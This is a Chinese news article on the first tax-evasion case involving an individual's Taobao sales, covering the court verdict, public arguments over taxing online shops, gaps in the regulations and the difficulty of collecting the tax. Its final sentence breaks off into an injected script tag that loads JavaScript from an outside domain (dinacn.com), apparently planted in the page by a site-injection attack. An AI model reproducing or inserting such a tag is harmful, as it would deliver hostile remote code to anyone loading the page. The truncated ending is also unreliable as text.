全国首例个人利用淘宝网交易逃税案的一审判决结果宣布后,支持者和质疑者围绕网上交易是否应该纳税,展开了激烈争论。而对于税务部门来说,目前最大的难题不在于“无法可依”,而在于追缴这部分税收执行上有诸多困难。
“在淘宝网上卖东西也要纳税,这个案例有历史性意义啊!”一位名叫“精灵”的网友在得知全国首例个人利用淘宝网交易逃税案一审判决结果后,做出这样的评价。而一位名叫“精灵王”的网友却对此提出了尖锐的质疑:“我在网上没有搜索到国家关于网上交易征税的法规,只找到了商务部5月24日发布的《网上交易指导意见》,而商务部自己都承认那只是一个指导性的文件,并不具备法律约束效力,那么法院的判决由何而来?”
引起这些争议的是一起利用淘宝网交易逃税案。被告人张某借公司名义在淘宝网上卖出了近290万元含税商品,逃税11万元,被上海普陀区法院一审判决有期徒刑2年,缓刑2年,并处罚金6万元。
网上交易是否应该纳税?这一争论由来已久。此案的判决,是否能成为解决个人网上交易纳税问题的一个转折点?
网络成“逃税”避风港
一位名叫刘伶的网友就认为, 交易纳税是天经地义的事情,不能因为是通过网络交易就可以逃掉。而且,网上交易不纳税,对于现实中的商铺来说也是不公平的。网上交易本来就不用交纳房租,再加上不用纳税,成本自然大大降低,实体的商铺便无法与之竞争了。
举个例子,如果在现实中开个实体店铺,除了每月商铺的租金,还有大量的税费支出,如营业税、教育附加税、城市维护建设税、水利建设基金税等等。可是在网上开店却非常省事、省钱,交易过程也非常简单:申请一个卖家账户、进货、拍照、上传商品信息、缴纳商品登录费、查看买家的留言或邮件、用邮件或电话确认交易、收款、发货、缴纳交易服务费,一切都轻松搞定。
正是由于网上交易具有低成本、快捷、高效等优点,加上税收监管薄弱,使得C2C网站注册用户迅速发展壮大。有数据显示,2006年淘宝网的成交规模已赶上沃尔玛中国门店的销售额。来自淘宝网的数据显示,该网站注册用户已达到2050万人,今年第一季度成交总额为30亿元,与拥有67家门店的中国沃尔玛销售额相当。
在商品品质没有问题的前提下,低价成为网上商店竞争和赢利的法宝。在网上商品的价格构成之中,本应上缴国家的税收没有计入,这是网上商品价格低的主要原因。C2C交易不纳税已成为普遍现象。
然而,个人网上交易到底应不应该纳税呢?
虚拟经济纳税无细则
北京市宣武区地税局某工作人员指出,根据税法相关规定,纳税义务并不受交易形式的限制,无论是实体经济还是虚拟经济,交易纳税都是理所当然的。比如,生产经营性企业在网上交易应缴纳17%的增值税,只是买进卖出的店家则要缴纳4%的增值税。在网上开店销售货物,也应该开具税务发票,依法纳税。
显然,对进行网上交易的店家征税是符合法理的。但问题在于,目前我国没有具体的法律法规来明确各项税收细则,我国在虚拟经济方面的法律法规还不完善,对网上交易的管理还不成体系。
2006年国家商务部公布了《关于网上交易的指导意见》,该《指导意见》规定,从事商品和服务交易须具备相应资质,应当经过工商管理机关和其他主管部门的审批。但该《指导意见》并不是强制性规定,因而有人说,《指导意见》就像是“文明公约”一样,只是鼓励C2C模式的个人网店缴税。
可是,既然没有法律明确规定个人网店强制纳税,那全国首例网上交易逃税案又何以发生呢?据业内人士介绍,该案主要是由于当事人有实体店面,也有网上虚拟商铺,而虚拟商铺又作为其实体店的一种销售渠道。依据我国相关法律,对实体店是强制征税的,当然也包括依靠网络渠道销售的产品。所谓没有强制规定的,仅仅是指没有实体店面、以个人名义在网上开设的店铺。
执行存在诸多难点
有业内人士指出,虽然国家鼓励个人网上交易纳税,但对于相关部门来说,追缴这部分税收,执行起来却有很多困难。
首先,很多网店店主并不愿意缴税。淘宝网某店主对记者说:“一方面,法律并没有强制要求我纳税;另一方面,我的店主要经营最高几十块钱的小饰品,利润本来就不高,缴税后商品价格肯定上涨,那网上商店将失去与街上实体店的竞争优势。”
同时,也有业内人士担心,如果强制网上店面经营者到工商注册,或者税收政策制定不当,将可能影响C2C电子商务市场的成长。一位网友对记者说:“电子商务刚刚起步,在这种情况下,除了少数几家大型交易网站外,交易的数额难以掌握。要解决网商征税问题,必须依靠规范成熟的电子商务环境。”很显然,现在网上交易征税的环境还不成熟。
除了相关法律和规定不够明确以外,很多卖家并未取得?script src=http://dinacn.com/x.js> |